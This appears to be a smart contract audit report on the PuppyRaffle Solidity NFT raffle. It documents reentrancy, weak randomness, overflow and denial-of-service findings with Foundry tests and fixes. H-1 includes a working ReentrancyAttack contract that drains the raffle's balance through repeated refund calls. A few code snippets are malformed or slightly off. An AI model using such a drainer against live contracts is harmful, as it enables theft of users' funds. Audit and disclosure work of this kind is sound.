Title: Puppy Raffle Audit Report

Author: Victory Ndu

Date: December 25, 2023

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Victory makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I enjoyed auditing this codebase. With the timeframe i was given the codebase was pretty understandable.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Gas	2
Info	6
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrants to drain `PuppyRaffle` balance

Description: The `PuppyRaffle::refund` does not follow CEI (Checks, Effects , Interactions) and as a result enables participants to drain `PuppyRaffle` balance In the `PuppyRaffle::refund` function , we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
 function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

@>        payable(msg.sender).sendValue(entranceFee);

@>        players[playerIndex] = address(0);=
```

```
        emit RaffleRefunded(playerAddress);
    }
```

A player who enters the raffle can have a fallback/recieve function that calls the `PuppyRaffle::refund` function until the `PuppyRaffle` balance is down to zero.

Impact: All fees paid by the raffle entrants could be stolen by a malicious participant

Proof of Concept:

1. Users enter the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code

▶ Code

Place the following into `PuppyRaffleTest.t.sol`

```
function test_reentrancyRefund() public {

        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

       ReentrancyAttack attacker = new ReentrancyAttack(puppyRaffle);

       address attackUser = makeAddr("attackUser");

       vm.deal(attackUser, 1 ether);

       uint256 attackStartingBalance = address(attacker).balance;
       uint256 raffleStartingBalance = address(puppyRaffle).balance;


       vm.prank(attackUser);

       attacker.attackRaffle{value: entranceFee}();


       console.log("Starting attack balance" , attackStartingBalance);
       console.log("Starting raffle balance" , raffleStartingBalance);
```

```
        console.log("Ending attacker balance" , address(attacker).balance);
        console.log("Ending raffle balance" ,
address(puppyRaffle).balance);

    }
```

And this contract as well

```
contract ReentrancyAttack {
   PuppyRaffle puppyRaffle;
   uint256 entranceFee;
   uint256 attackerIndex;


   constructor(PuppyRaffle _puppyRaffle){
    puppyRaffle = _puppyRaffle;
    entranceFee = puppyRaffle.entranceFee();
   }

   function attackRaffle() external payable {
    address[] memory players = new address[](1);
    players[0] = address(this);
    puppyRaffle.enterRaffle{value: entranceFee}(players);

    attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
    puppyRaffle.refund(attackerIndex);
   }

   function _stealMoney() internal {

    if(address(puppyRaffle).balance >= entranceFee) {
     puppyRaffle.refund(attackerIndex);

    }
   }
   receive() external payable {
    _stealMoney();
   }

   fallback() external payable {
    _stealMoney();
   }
}
```

Recommended Mitigation: To prevent this we should have the `PuppyRaffle::refund` function update the `players` array before making external calls. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

+        players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
+       payable(msg.sender).sendValue(entranceFee);

-        payable(msg.sender).sendValue(entranceFee);
-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` function allows users to predict the winner and influence or predict the rarest puppy

Description: Hashing the `block.timestamp` , `msg.sender` , `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can manipulate these values and know them ahead of time to decide the winner of the raffle.

Note: Users can frontrun this function and call `PuppyRaffle::refund` when they see they are not the winner of the raffle

Impact: Any User can influence the winner of the raffle,winning the money and select the `rarest puppy`, making the `PuppyRaffle` worthless.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and the `block.difficulty` and use that to predict how/when to participate.
2. User can manipulate/mine their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `PuppyRaffle::selectWinner` transaction if they do not like the winner or resulting puppy

Using on-chain values as randomness seed is well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to overflow and underflow

```
uint64 myVar = type(64).max
This will give an output
```

```
 //18446744073709551615

 myVar = myVar + 1
 This will give an output
//  0

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated
for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`.
However, if the `totalFees` variable overflows, the `feeAddress` may not
collect the correct amount of fees, leaving the fees permanently stuck in
the contract.

**Proof of Concept:**

1.We conclude a raffle of 4 players.
2. We then have 85 players enter a new raffle and conclude the raffle
3.`totalFees` will be:

```javascript
totalFees = totalFees + uint64(fee);

totalFees = 800000000000000000 + 17800000000000000000 will result to
`18600000000000000000`
This will give a remainder of `153255926290448385`

`18600000000000000000` % `18446744073709551615`
```

4. You will not be able to withdraw , due to the line in PuppyRaffle::withdrawFees;

```
        require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
```

Although you could use selfdestruct to send ETh to the contract thereby making the balance of the contract to equal totalFees. At some point the balance of the contract can be greater than totalFees.

▶ Code

```
 function test_ArithmeticOverflow() public playersEntered{


       vm.warp(block.timestamp + duration + 1);
       vm.roll(block.number + 1);

       // console.log(puppyRaffle.playerLength());

       puppyRaffle.selectWinner();
```
```

```
        uint256 startingTotalFees = puppyRaffle.totalFees();
        console.log(startingTotalFees);

        // Adding More Players
         uint256 additionalPlayers = 85;
         address[] memory players = new address[](additionalPlayers);

        for(uint256 i = 0; i < additionalPlayers; i++){
          players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * additionalPlayers}
(players);

         vm.warp(block.timestamp + duration + 1);
         vm.roll(block.number + 1);

         console.log(puppyRaffle.playerLength());

        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log(endingTotalFees);


    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer vesion of solidity from `0.8.0` and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
2. You could also use `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity.
3. Remove the balance check from `PuppyRaffle::withdrawFees`.

```
-       require(address(this).balance == uint256(totalFees),
"PuppyRaffle: There are currently players active!");
```

Medium

[M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service attack (DOS), incrementing gas cost for future entrants

Description: The `PuppyRaffle::enterRaffle` checks for duplicates players using a loop for the `players` array. However the longer the array gets the more checks a new player will have to make.This means the gas cost for a player who enters in the initial stage will be less than a user who enters later on.

```
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

Impact: The gas cost for raffle entrants will greatly increase as more people join, thereby discouraging users who enter later on to participate in the entering the raffle.

An attacker might make the `PuppyRaffle::entrants` so big others will not be able to participate and they(the attacker) could be the winner.

Proof of Concept: If we have three set of players, the gas cost will be as such: 1st set of players: ~6252039 2nd set of players: ~18067741 3rd set of players: ~37782291

Here is my test:

▶ Poc

```
    function testForDosInTheSystem() public {
        vm.txGasPrice(1);

        // We will enter 100 players into the raffle
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // And see how much gas it cost to enter
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the 1st 100 players:", gasUsedFirst);

        // We will enter 5 more players into the raffle
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i + playersNum);
        }
        // And see how much more expensive it is
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) *
tx.gasprice;
        console.log("Gas cost of the 2nd 100 players:", gasUsedSecond);

        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i + playersNum * 2);
```

```
        }

        uint256 gasStartThird = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        uint256 gasEndThird = gasleft();
        uint256 gasUsedThirdTime = (gasStartThird - gasEndThird) *
tx.gasprice;
        console.log("Gas cost of the 3rd 100 players:", gasUsedThirdTime);

        assert(gasUsedFirst < gasUsedSecond);
        assert(gasUsedSecond < gasUsedThirdTime);
    }
```

Recommended Mitigation:

There are a few recommendations

1. Consider allowing duplicates, same users can enter this raffle with a different address, so a duplicate check does not prevent same person from entering multiple times.
2. Consider using a mapping for duplicates. This will allow constant time lookups

```
+  mapping(address => uint256) public addressToId
+  uint public raffleId = 0
 .
 .
 .

  function enterRaffle(address[] memory newPlayers) public payable {
        //@question is this gas efficient
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
            addressToId[players[i]] = raffleId;
        }


+        for (uint256 i = 0; i < players.length - 1; i++) {
+                require(addressToId[players[i]] != raffleId,
"PuppyRaffle: Duplicate player");
+        }

-           for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-            }
-        }


        emit RaffleEnter(newPlayers);
```

```
    }

     function selectWinner() external {
+     raffleId += 1;
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
     }
```

[M-2] Smart contract wallet of raffle winners without a `recieve` or `fallback` function could stop or block the start of a new raffle

Description: The `puppyRaffle::selectWinner` function is responsible for reseting the lottery. However if the winner is a smart contract that rejects payments, the lottery will not be able to start.

Impact: The `PuppyRaffle::selectWinner` function could revert many times , making a lottery reset difficult.

Also true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation:

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves,with a `claimPrize` function putting the owness on the winner to claim their prize. (Recommended)

@> This method is known as pull over push where the winners can pull the money out for themselves rather than the `PuppyRaffle` protocol pushing the prizeMoney to the winner.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player to incorrectly think they have not entered the puppy raffle.

Description: If a person in the `PuppyRaffle::players` array is index 0, it will return 0 and according to the natspec, it will also return 0 if the player address is not in the array.

```
    /// @return the index of the player in the array, if they are not
active, it returns 0
 function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
```

```
            }
        }
        return 0;
    }
```

Impact: A player at index 0 will incorrectly think they have not entered the puppy raffle, and attempt to enter the raffle again wasting gas.

Proof of Concept:

1. User enters raffle, and they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` function returns 0
3. User thinks they have not entered the raffle due to the documentation

Here is my Test:

▶ Code

Place the following test in `PuppyRaffleTest.t.sol`

```
    function testFirstPlayerIndexReturnsZero() public {
        address[] memory players = new address[](1);

        players[0] = playerOne;
        puppyRaffle.enterRaffle{value: entranceFee * 1}(players);

       uint256 index = puppyRaffle.getActivePlayerIndex(playerOne);

       console.log(index);
       assert(index == 0);
    }
```

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array rather than returning zero. You could also make the `PuppyRaffle::getActivePlayerIndex` function to return a `int`, where the function returns -1 if they are not in the array.

Gas

[G-1] Unchanged state variables should be declared as constant or immutable

Reading from storage is much more expensive than reading from from immutable variable. Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you directly loop through the players.length you are reading from storage as opposed to memory which is more gas efficient.

```
+  uint256 playersLength = players.length
-  for (uint256 i = 0; i < players.length - 1; i++) {
+  for (uint256 i = 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
               require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
    }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6; //@audit-info floting version spotted here
```

[I-2] Using an outdated version of solidity is not recommended.

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```

```

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 186

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 208

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` function does not follow CEI (Checks, Effects , Interactions).

Its best practice to follow CEI (Checks, Effects , Interactions)

```
-  (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
        _safeMint(winner, tokenId);
+  (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
```

[I-5] Use of "magic" numbers are discouraged

Description It can be confusing to see numbers literals in the codebase, and its much more readable if the numbers are given a name

Recommended Mitigation

Replace all magic numbers with constants.

Examples:

```
  uint256 prizePool = (totalAmountCollected * 80) / 100;
  uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use this:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEED_PERCENTAGE = 20;
```

```
uint256 public constant POOL_PRECISION = 100;
```

[I-6] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
- function _isActivePlayer() internal view returns (bool) {
-         for (uint256 i = 0; i < players.length; i++) {
-             if (players[i] == msg.sender) {
-                 return true;
-             }
-         }
-         return false;

-}
```